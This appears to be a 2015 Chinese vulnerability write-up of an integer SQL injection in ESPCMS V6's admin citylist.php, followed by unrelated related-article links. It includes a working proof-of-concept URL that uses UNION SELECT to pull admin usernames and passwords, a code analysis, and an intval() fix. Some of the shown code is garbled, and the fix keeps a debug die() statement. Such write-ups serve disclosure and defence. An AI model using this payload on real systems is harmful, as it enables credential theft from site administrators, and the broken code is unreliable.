ESPCMS /adminsoft/control/citylist.php Int SQLInjection Vul
catalog
. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考
1. 漏洞描述
Relevant Link:
2. 漏洞触发条件
0x1: POC
http://127.0.0.1/ESPCMSV6/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1%20UNION%20select%201,2,concat%28name,0x7c,password%29,4,5%20FROM%20espcms_v6.espcms_admin_member
http://127.0.0.1/ESPCMSV6/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1 UNION select 1,2,concat(name,0x7c,password),4,5 FROM espcms_v6.espcms_admin_member
3. 漏洞影响范围
4. 漏洞代码分析
/adminsoft/control/citylist.php
class important extends connector {
function important() {
$this->softbase(true);
}
function oncitylist() {
//接收外部参数parentid
$parentid = $this->fun->accept('parentid', 'R');
$parentid = empty($parentid) ? : $parentid;
$verid = $this->fun->accept('verid', 'R');
$verid = empty($verid) ? : $verid;
$db_table = db_prefix . 'city';
$sql = "select * from $db_table where parentid=$parentid";
die(var_dump($sql));
$rs = $this->db->query($sql);
for ($i = ; $rsList = $this->db->fetch_array($rs); $i++) {
if ($verid == $rsList['id']) {
$list.='<option selected value="' . $rsList['id'] . '">' . $rsList['cityname'] . '</option>';
} else {
$list.='<option value="' . $rsList['id'] . '">' . $rsList['cityname'] . '</option>';
}
}
exit($list);
}
}
继续跟进$parentid = $this->fun->accept('parentid', 'R');
/public/class_function.php
function accept($k, $var = 'R', $htmlcode = true, $rehtml = false) {
switch ($var) {
case 'G':
$var = &$_GET;
break;
case 'P':
$var = &$_POST;
break;
case 'C':
$var = &$_COOKIE;
break;
case 'R':
$var = &$_GET;
if (empty($var[$k])) {
$var = &$_POST;
}
break;
}
//对输入进行了addslash转义,但是对Int整型注入没有效果
$putvalue = isset($var[$k]) ? $this->daddslashes($var[$k], ) : NULL;
return $htmlcode ? ($rehtml ? $this->preg_htmldecode($putvalue) : $this->htmldecode($putvalue)) : $putvalue;
}
Relevant Link:
http://www.wooyun.org/bugs/wooyun-2015-0163605
5. 防御方法
/adminsoft/control/citylist.php
class important extends connector {
function important() {
$this->softbase(true);
}
function oncitylist() {
//接收外部参数parentid
$parentid = $this->fun->accept('parentid', 'R');
/**/
$parentid = intval($parentid);
/**/
$parentid = empty($parentid) ? : $parentid;
$verid = $this->fun->accept('verid', 'R');
$verid = empty($verid) ? : $verid;
$db_table = db_prefix . 'city';
$sql = "select * from $db_table where parentid=$parentid";
die(var_dump($sql));
$rs = $this->db->query($sql);
for ($i = ; $rsList = $this->db->fetch_array($rs); $i++) {
if ($verid == $rsList['id']) {
$list.='<option selected value="' . $rsList['id'] . '">' . $rsList['cityname'] . '</option>';
} else {
$list.='<option value="' . $rsList['id'] . '">' . $rsList['cityname'] . '</option>';
}
}
exit($list);
}
}
6. 攻防思考
Copyright (c) 2015 LittleHann All rights reserved
ESPCMS /adminsoft/control/citylist.php Int SQLInjection Vul的更多相关文章
- Tutorial: WPF User Control for AX2012
原作者: https://community.dynamics.com/ax/b/goshoom/archive/2011/10/06/tutorial-wpf-user-control-for-ax ...
- System.Windows.Forms.Control : Component, IOleControl, IOleObject, IOleInPlaceObject, IOleInPlaceActiveObject....
#region 程序集 System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 ...
- IEEEXtreme 10.0 - Always Be In Control
这是 meelo 原创的 IEEEXtreme极限编程大赛题解 Xtreme 10.0 - Always Be In Control 题目来源 第10届IEEE极限编程大赛 https://www.h ...
- cocos2d-x 源代码分析 : control 源代码分析 ( 控制类组件 controlButton)
源代码版本号来自3.1rc 转载请注明 cocos2d-x源代码分析总文件夹 http://blog.csdn.net/u011225840/article/details/31743129 1.继承 ...
- Linux ALSA声卡驱动之四:Control设备的创建
声明:本博内容均由http://blog.csdn.net/droidphone原创,转载请注明出处,谢谢! Control接口 Control接口主要让用户空间的应用程序(alsa-lib)可以访问 ...
- ESPCMS-Seay自动加手工代码审计
ESPcms代码审计 源码下载地址:http://yesky.91speed.org.cn/sw/180001_190000/rar/espcms_utf8_5.4.12.05.14.rar 1.自动 ...
- Spring Boot 乐观锁加锁失败 - 使用AOP恢复错误
之前写了一些辅助工作相关的Spring Boot怎么使用AOP.这里继续正题,怎么减少Spring Boot 乐观锁加锁报错的情况(基本可以解决). 1. 包依赖 spring-boot-starte ...
- windows消息机制详解(转载)
消息,就是指Windows发出的一个通知,告诉应用程序某个事情发生了.例如,单击鼠标.改变窗口尺寸.按下键盘上的一个键都会使Windows发送一个消息给应用程序.消息本身是作为一个记录传递给应用程序的 ...
- S3C2440UART之FIFO
一.基础知识 S3C2440有3个独立的串口,每一个都可以利用DMA和中断方式操作.每个包含2个64字节FIFO,一个收,一个发.非FIFO模式相当于FIFO模式的一个寄存器缓冲模式.每一个UART有 ...
随机推荐
- Expression Blend4经验分享:制作一个简单的文字按钮样式
首先在Grid里放一个TextBlock,对象时间线窗口的结构树如下 右键点击grid,选择构成控件 会弹出构成控件的对话框,选择你要构成的控件类型,控件名称,控件样式存储位置 这里我们选择butto ...
- Vuforia AR SDK入门
Vuforia是一个能让应用拥有视觉的软件平台.开发者借助它可以很轻松地为任何应用添加先进计算机视觉功能,允许你识别图片和物体,或者在真实世界中重建环境内容. 如果你现在正在制作一些可交互的市场活动项 ...
- JS运动从入门到兴奋1
hello,我是沐晴,一个充满了才华,却靠了照骗走江湖的前端妹子.在这个充满PS的年代,这你们都信,哈哈,废话不多说,今天要分享的是关注JS运动的知识.楼主一直认为,不管学习什么,核心思想才是王道,掌 ...
- 千呼万唤岂出来,写款软件不容易——Visual Entity 2.0 发布
在各位用户不继的催更中,终于完成了这次更新.Visual Entity这个软件发布于 2011年,这个软件完成后,便上班去了,也没有做什么推广工作.所以知道的用户并不多,尽管它是个非常好用.并且免费的 ...
- 由一次程序崩溃引起的对new表达式的再次学习
1. 起因 某天,一个同事跟我反馈说在windows上调试公司产品的一个交易核心时出现了使用未初始化的指针导致后台服务崩溃的情况.示例代码如下所示: struct sample { ][]; //.. ...
- 2014 todo list
1. 做好已知的各种项目,争取能成立固定团队2. 横向扩展技术学习,了解各种技术,加强技术素养3. 争取找个妹子4. 加强音律学习5. 继续发展各业余爱好6. 努力摇号 年底看收成.
- MVC———用自定义扩展类实现验证
废话少说,直接上图 →_→ NO.1 NO.2 NO.3 NO.4 NO.5 NO.6 NO.7 NO.8 NO.9 NO.10 NO.11 NO.12 NO.13 NO.14 NO.15 NO.16 ...
- if..elif语句
根据用户输入内容打印其权限 # alex --> 超级管理员 # eric --> 普通管理员 # tony,rain --> 业务主管 # 其他 --> 普通用户 name ...
- 'hibernate.dialect' must be set when no Connection avalable’
一个错误'hibernate.dialect' must be set when no Connection avalable ‘ 网上也有不少人遇到这种问题,看上去好像是跟Hibernate的方言有 ...
- Android:View随手指移动
View的自动移动,我们可以设置动画,如之类提到的 ViewCompat,Animation. 如何是View随着手指的移动而移动呢? 在onTouch事件实现 @Overridepublic boo ...